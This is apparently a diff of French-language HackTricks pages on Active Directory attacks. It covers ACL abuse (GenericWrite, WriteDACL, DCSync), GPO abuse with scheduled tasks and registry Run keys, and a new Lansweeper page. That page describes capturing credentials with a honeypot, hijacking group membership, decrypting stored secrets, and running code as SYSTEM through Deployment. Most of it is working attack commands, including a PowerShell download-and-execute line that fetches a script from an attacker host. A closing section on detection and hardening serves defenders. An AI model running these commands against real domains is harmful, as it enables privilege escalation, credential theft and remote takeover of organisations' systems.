Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite sur l'utilisateur**
## **GenericWrite on User**
Cette permission permet à un attaquant de modifier les propriétés de l'utilisateur. Plus précisément, avec l'accès `GenericWrite`, l'attaquant peut changer le chemin du script de connexion d'un utilisateur pour exécuter un script malveillant lors de la connexion de l'utilisateur. Cela est réalisé en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'utilisateur cible afin de pointer vers le script de l'attaquant.
Cette permission permet à un attaquant de modifier les propriétés d'un utilisateur. Plus précisément, avec un accès `GenericWrite`, l'attaquant peut changer le chemin du script de connexion d'un utilisateur pour exécuter un script malveillant lors de la connexion de l'utilisateur. Cela se fait en utilisant la commande `Set-ADObject` pour mettre à jour la propriété `scriptpath` de l'utilisateur ciblé afin qu'elle pointe vers le script de l'attaquant.
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite sur le groupe**
## **GenericWrite on Group**
Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, comme s'ajouter ou ajouter d'autres utilisateurs à des groupes spécifiques. Ce processus implique de créer un objet d'identification, de l'utiliser pour ajouter ou supprimer des utilisateurs d'un groupe, et de vérifier les changements d'appartenance avec des commandes PowerShell.
Avec ce privilège, les attaquants peuvent manipuler l'appartenance aux groupes, par exemple s'ajouter eux-mêmes ou ajouter d'autres utilisateurs à des groupes spécifiques. Ce processus implique de créer un objet d'identification, de l'utiliser pour ajouter ou supprimer des utilisateurs d'un groupe, et de vérifier les changements d'appartenance avec des commandes PowerShell.
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -102,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
```
## **WriteDACL + WriteOwner**
Posséder un objet AD et avoir des privilèges `WriteDACL` sur celui-ci permet à un attaquant de se donner des privilèges `GenericAll` sur l'objet. Cela est accompli par la manipulation d'ADSI, permettant un contrôle total sur l'objet et la capacité de modifier ses appartenances de groupe. Malgré cela, des limitations existent lors de la tentative d'exploiter ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
Posséder un objet AD et disposer des privilèges `WriteDACL` sur celui-ci permet à un attaquant de s'accorder les privilèges `GenericAll` sur l'objet. Cela s'accomplit par manipulation ADSI, ce qui donne un contrôle total sur l'objet et la possibilité de modifier ses adhésions aux groupes. Malgré cela, des limitations existent lors de la tentative d'exploitation de ces privilèges en utilisant les cmdlets `Set-Acl` / `Get-Acl` du module Active Directory.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -110,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
## **Réplication sur le Domaine (DCSync)**
## **Réplication sur le domaine (DCSync)**
L'attaque DCSync exploite des permissions de réplication spécifiques sur le domaine pour imiter un Contrôleur de Domaine et synchroniser des données, y compris des identifiants d'utilisateur. Cette technique puissante nécessite des permissions comme `DS-Replication-Get-Changes`, permettant aux attaquants d'extraire des informations sensibles de l'environnement AD sans accès direct à un Contrôleur de Domaine. [**En savoir plus sur l'attaque DCSync ici.**](../dcsync.md)
L'attaque DCSync exploite des permissions de réplication spécifiques sur le domaine pour se faire passer pour un Domain Controller et synchroniser des données, y compris les identifiants utilisateur. Cette technique puissante nécessite des permissions comme `DS-Replication-Get-Changes`, permettant aux attaquants d'extraire des informations sensibles de l'environnement AD sans accès direct à un Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
## Délégation GPO <a href="#gpo-delegation" id="gpo-delegation"></a>
### Délégation GPO
L'accès délégué pour gérer les Objets de Politique de Groupe (GPO) peut présenter des risques de sécurité significatifs. Par exemple, si un utilisateur tel que `offense\spotless` se voit déléguer des droits de gestion de GPO, il peut avoir des privilèges comme **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être abusées à des fins malveillantes, comme identifié en utilisant PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
L'accès délégué pour gérer les Group Policy Objects (GPOs) peut représenter des risques de sécurité significatifs. Par exemple, si un utilisateur tel que `offense\spotless` se voit déléguer les droits de gestion des GPO, il peut disposer de privilèges comme **WriteProperty**, **WriteDacl**, et **WriteOwner**. Ces permissions peuvent être abusées à des fins malveillantes, comme identifié avec PowerView : `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### Énumérer les Permissions GPO
### Énumérer les permissions GPO
Pour identifier les GPO mal configurés, les cmdlets de PowerSploit peuvent être enchaînées. Cela permet de découvrir les GPO que un utilisateur spécifique a la permission de gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
Pour identifier des GPO mal configurées, les cmdlets de PowerSploit peuvent être chaînées. Cela permet de découvrir les GPOs qu'un utilisateur spécifique peut gérer : `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Ordinateurs avec une Politique Donnée Appliquée** : Il est possible de résoudre quels ordinateurs une GPO spécifique s'applique, aidant à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Ordinateurs avec une politique donnée appliquée** : Il est possible de déterminer aux quels ordinateurs une GPO spécifique s'applique, ce qui aide à comprendre l'étendue de l'impact potentiel. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Politiques Appliquées à un Ordinateur Donné** : Pour voir quelles politiques sont appliquées à un ordinateur particulier, des commandes comme `Get-DomainGPO` peuvent être utilisées.
**Politiques appliquées à un ordinateur donné** : Pour voir quelles politiques sont appliquées à un ordinateur particulier, on peut utiliser des commandes comme `Get-DomainGPO`.
**OUs avec une Politique Donnée Appliquée** : Identifier les unités organisationnelles (OUs) affectées par une politique donnée peut être fait en utilisant `Get-DomainOU`.
**OUs avec une politique donnée appliquée** : Identifier les unités d'organisation (OUs) affectées par une politique donnée peut se faire avec `Get-DomainOU`.
Vous pouvez également utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPO et trouver des problèmes dans celles-ci.
Vous pouvez aussi utiliser l'outil [**GPOHound**](https://github.com/cogiceo/GPOHound) pour énumérer les GPOs et y trouver des problèmes.
### Abuser GPO - New-GPOImmediateTask
### Abus de GPO - New-GPOImmediateTask
Les GPO mal configurés peuvent être exploités pour exécuter du code, par exemple, en créant une tâche planifiée immédiate. Cela peut être fait pour ajouter un utilisateur au groupe des administrateurs locaux sur les machines affectées, élevant ainsi considérablement les privilèges :
Des GPO mal configurées peuvent être exploitées pour exécuter du code, par exemple en créant une tâche planifiée immédiate. Cela peut servir à ajouter un utilisateur au groupe des administrateurs locaux sur les machines affectées, élevant ainsi de manière significative les privilèges :
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### Module GroupPolicy - Abus de GPO
### GroupPolicy module - Abuse GPO
Le module GroupPolicy, s'il est installé, permet la création et le lien de nouveaux GPO, ainsi que la définition de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs affectés. Cette méthode nécessite que le GPO soit mis à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
Le module GroupPolicy, s'il est installé, permet la création et le lien de nouveaux GPOs, et la configuration de préférences telles que des valeurs de registre pour exécuter des backdoors sur les ordinateurs affectés. Cette méthode nécessite que le GPO soit mis à jour et qu'un utilisateur se connecte à l'ordinateur pour l'exécution :
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - Abuse GPO
SharpGPOAbuse offre une méthode pour abuser des GPO existants en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouveaux GPO. Cet outil nécessite la modification des GPO existants ou l'utilisation des outils RSAT pour en créer de nouveaux avant d'appliquer des modifications :
SharpGPOAbuse propose une méthode pour abuser des GPOs existants en ajoutant des tâches ou en modifiant des paramètres sans avoir besoin de créer de nouveaux GPOs. Cet outil nécessite la modification de GPOs existants ou l'utilisation des outils RSAT pour en créer de nouveaux avant d'appliquer les modifications:
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Forcer la mise à jour de la politique
### Forcer la mise à jour des GPO
Les mises à jour de GPO se produisent généralement toutes les 90 minutes. Pour accélérer ce processus, en particulier après avoir mis en œuvre un changement, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate de la politique. Cette commande garantit que toutes les modifications apportées aux GPO sont appliquées sans attendre le prochain cycle de mise à jour automatique.
Les mises à jour des GPO ont généralement lieu environ toutes les 90 minutes. Pour accélérer ce processus, notamment après avoir effectué un changement, la commande `gpupdate /force` peut être utilisée sur l'ordinateur cible pour forcer une mise à jour immédiate des stratégies. Cette commande garantit que toute modification des GPO est appliquée sans attendre le prochain cycle de mise à jour automatique.
### Sous le capot
### Dans les coulisses
Lors de l'inspection des tâches planifiées pour un GPO donné, comme la `Politique mal configurée`, l'ajout de tâches telles que `evilTask` peut être confirmé. Ces tâches sont créées par le biais de scripts ou d'outils en ligne de commande visant à modifier le comportement du système ou à élever les privilèges.
En inspectant les tâches planifiées (Scheduled Tasks) d'un GPO donné, comme la `Misconfigured Policy`, on peut confirmer l'ajout de tâches telles que `evilTask`. Ces tâches sont créées via des scripts ou des outils en ligne de commande visant à modifier le comportement du système ou à escalader les privilèges.
La structure de la tâche, comme indiqué dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les spécificités de la tâche planifiée - y compris la commande à exécuter et ses déclencheurs. Ce fichier représente comment les tâches planifiées sont définies et gérées au sein des GPO, fournissant une méthode pour exécuter des commandes ou des scripts arbitraires dans le cadre de l'application des politiques.
La structure de la tâche, telle qu'elle apparaît dans le fichier de configuration XML généré par `New-GPOImmediateTask`, décrit les détails de la tâche planifiée — y compris la commande à exécuter et ses déclencheurs. Ce fichier représente la manière dont les tâches planifiées sont définies et gérées au sein des GPO, offrant un moyen d'exécuter des commandes ou scripts arbitraires dans le cadre de l'application des stratégies.
### Utilisateurs et groupes
Les GPO permettent également la manipulation des appartenances des utilisateurs et des groupes sur les systèmes cibles. En modifiant directement les fichiers de politique des Utilisateurs et des Groupes, les attaquants peuvent ajouter des utilisateurs à des groupes privilégiés, tels que le groupe `administrateurs` local. Cela est possible grâce à la délégation des permissions de gestion des GPO, qui permet la modification des fichiers de politique pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
Les GPO permettent également de manipuler les membres des utilisateurs et des groupes sur les systèmes ciblés. En modifiant directement les fichiers de stratégie Utilisateurs et groupes, un attaquant peut ajouter des utilisateurs à des groupes privilégiés, comme le groupe local `administrators`. Cela est rendu possible par la délégation des permissions de gestion des GPO, qui permet de modifier les fichiers de stratégie pour inclure de nouveaux utilisateurs ou changer les appartenances aux groupes.
Le fichier de configuration XML pour les Utilisateurs et les Groupes décrit comment ces changements sont mis en œuvre. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe pour l'élévation des privilèges par la manipulation des GPO.
Le fichier de configuration XML pour Utilisateurs et groupes décrit comment ces changements sont implémentés. En ajoutant des entrées à ce fichier, des utilisateurs spécifiques peuvent se voir accorder des privilèges élevés sur les systèmes affectés. Cette méthode offre une approche directe d'escalade de privilèges via la manipulation des GPO.
De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance, telles que l'utilisation de scripts de connexion/déconnexion, la modification des clés de registre pour les autoruns, l'installation de logiciels via des fichiers .msi, ou l'édition des configurations de service, peuvent également être envisagées. Ces techniques offrent diverses avenues pour maintenir l'accès et contrôler les systèmes cibles par l'abus des GPO.
De plus, d'autres méthodes pour exécuter du code ou maintenir la persistance, comme l'utilisation de scripts de logon/logoff, la modification de clés de registre pour les autoruns, l'installation de logiciels via des fichiers `.msi`, ou la modification des configurations de services, peuvent aussi être envisagées. Ces techniques offrent différentes voies pour maintenir l'accès et contrôler les systèmes cibles via l'abus des GPO.
## Références

153
src/windows-hardening/active-directory-methodology/lansweeper-security.md Normal file
View File

@ -0,0 +1,153 @@
# Lansweeper Abuse : récolte d'identifiants, déchiffrement de secrets et RCE via Deployment
{{#include ../../banners/hacktricks-training.md}}
Lansweeper est une plateforme de découverte et d'inventaire d'actifs IT couramment déployée sur Windows et intégrée à Active Directory. Les credentials configurés dans Lansweeper sont utilisés par ses moteurs de scan pour s'authentifier auprès des assets via des protocoles comme SSH, SMB/WMI et WinRM. Des mauvaises configurations permettent fréquemment :
- Interception d'identifiants en redirigeant une Scanning Target vers un hôte contrôlé par l'attaquant (honeypot)
- Abus des AD ACLs exposés par des groupes liés à Lansweeper pour obtenir un accès distant
- Déchiffrement sur l'hôte de secrets configurés dans Lansweeper (connection strings et scanning credentials stockés)
- Exécution de code sur des endpoints gérés via la fonctionnalité Deployment (souvent exécutée en tant que SYSTEM)
Cette page résume des workflows d'attaquants pratiques et des commandes pour abuser de ces comportements lors d'engagements.
## 1) Récupérer des scanning credentials via un honeypot (exemple SSH)
Idée : créer une Scanning Target qui pointe vers votre hôte et y mapper les Scanning Credentials existants. Quand le scan s'exécute, Lansweeper tentera de s'authentifier avec ces credentials, et votre honeypot les capturera.
Aperçu des étapes (web UI) :
- Scanning → Scanning Targets → Add Scanning Target
- Type: IP Range (or Single IP) = votre IP VPN
- Configure SSH port sur un port atteignable (p.ex. 2022 si 22 est bloqué)
- Désactiver le schedule et prévoir un déclenchement manuel
- Scanning → Scanning Credentials → assurez-vous que des credentials Linux/SSH existent ; mappez-les vers la nouvelle target (enable all as needed)
- Cliquez sur “Scan now” sur la target
- Démarrez un honeypot SSH et récupérez le username/password tenté
Exemple avec sshesame:
```yaml
# sshesame.conf
server:
listen_address: 10.10.14.79:2022
```
```bash
# Install and run
sudo apt install -y sshesame
sshesame --config sshesame.conf
# Expect client banner similar to RebexSSH and cleartext creds
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
```
Valider les creds capturés contre les services DC :
```bash
# SMB/LDAP/WinRM checks (NetExec)
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
Remarques
- Fonctionne de la même manière pour d'autres protocoles lorsque vous pouvez forcer le scanner à se connecter à votre listener (honeypots SMB/WinRM, etc.). SSH est souvent le plus simple.
- De nombreux scanners s'identifient par des client banners distincts (e.g., RebexSSH) et tenteront des commandes bénignes (uname, whoami, etc.).
## 2) Abus d'AD ACL : obtenir un accès distant en vous ajoutant à un groupe app-admin
Utilisez BloodHound pour énumérer les droits effectifs à partir du compte compromis. Une découverte fréquente est un groupe spécifique au scanner ou à l'application (e.g., “Lansweeper Discovery”) disposant de GenericAll sur un groupe privilégié (e.g., “Lansweeper Admins”). Si le groupe privilégié est également membre de “Remote Management Users”, WinRM devient disponible une fois que nous nous y ajoutons.
Exemples de collecte:
```bash
# NetExec collection with LDAP
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
# RustHound-CE collection (zip for BH CE import)
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
```
Exploiter GenericAll sur un groupe avec BloodyAD (Linux) :
```bash
# Add our user into the target group
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
add groupMember "Lansweeper Admins" svc_inventory_lnx
# Confirm WinRM access if the group grants it
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
Ensuite, obtenez un shell interactif :
```bash
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
```
Astuce : les opérations Kerberos sont sensibles au temps. Si vous obtenez KRB_AP_ERR_SKEW, synchronisez d'abord l'heure avec le DC :
```bash
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
```
## 3) Décrypter les secrets configurés par Lansweeper sur l'hôte
Sur le serveur Lansweeper, le site ASP.NET stocke généralement une chaîne de connexion chiffrée et une clé symétrique utilisée par l'application. Avec un accès local approprié, vous pouvez décrypter la chaîne de connexion DB puis extraire les creds de scan stockés.
Emplacements typiques :
- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
- Clé d'application: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
Utilisez SharpLansweeperDecrypt pour automatiser le déchiffrement et le dumping des creds stockés :
```powershell
# From a WinRM session or interactive shell on the Lansweeper host
# PowerShell variant
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
# Tool will:
# - Decrypt connectionStrings from web.config
# - Connect to Lansweeper DB
# - Decrypt stored scanning credentials and print them in cleartext
```
La sortie attendue inclut les détails de connexion DB et les identifiants de scan plaintext tels que les comptes Windows et Linux utilisés dans l'ensemble du parc. Ceux-ci ont souvent des droits locaux élevés sur les hôtes du domaine:
```text
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
Inventory Linux svc_inventory_lnx <StrongPassword!>
```
Utiliser les creds de scanning Windows récupérés pour obtenir un accès privilégié :
```bash
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
```
## 4) Déploiement Lansweeper → SYSTEM RCE
En tant que membre du groupe “Lansweeper Admins”, le web UI expose les sections Deployment et Configuration. Sous Deployment → Deployment packages, vous pouvez créer des packages qui exécutent des commandes arbitraires sur des assets ciblés. L'exécution est effectuée par le Lansweeper service avec des privilèges élevés, ce qui permet l'exécution de code en tant que NT AUTHORITY\SYSTEM sur l'hôte sélectionné.
High-level steps:
- Créez un nouveau Deployment package qui exécute une one-liner PowerShell ou cmd (reverse shell, add-user, etc.).
- Ciblez l'asset souhaité (e.g., the DC/host where Lansweeper runs) et cliquez sur Deploy/Run now.
- Récupérez votre shell en tant que SYSTEM.
Example payloads (PowerShell):
```powershell
# Simple test
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
# Reverse shell example (adapt to your listener)
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
```
OPSEC
- Les actions de Deployment sont bruyantes et laissent des journaux dans Lansweeper et les journaux d'événements Windows. À utiliser judicieusement.
## Détection et durcissement
- Restreindre ou supprimer les énumérations SMB anonymes. Surveiller le RID cycling et les accès anormaux aux partages Lansweeper.
- Contrôles d'egress : bloquer ou restreindre fortement les connexions sortantes SSH/SMB/WinRM depuis les hôtes scanner. Alerter sur les ports non standard (p.ex., 2022) et les bannières client inhabituelles comme Rebex.
- Protéger `Website\\web.config` et `Key\\Encryption.txt`. Externaliser les secrets dans un vault et les faire pivoter en cas d'exposition. Envisager des comptes de service avec des privilèges minimaux et des gMSA lorsque viable.
- Surveillance AD : alerter sur les changements des groupes liés à Lansweeper (p.ex., “Lansweeper Admins”, “Remote Management Users”) et sur les modifications d'ACL accordant GenericAll/Write pour l'appartenance aux groupes privilégiés.
- Auditer la création/modification/exécution des packages de Deployment ; alerter sur les packages lançant cmd.exe/powershell.exe ou des connexions sortantes inattendues.
## Sujets connexes
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
## Références
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
{{#include ../../banners/hacktricks-training.md}}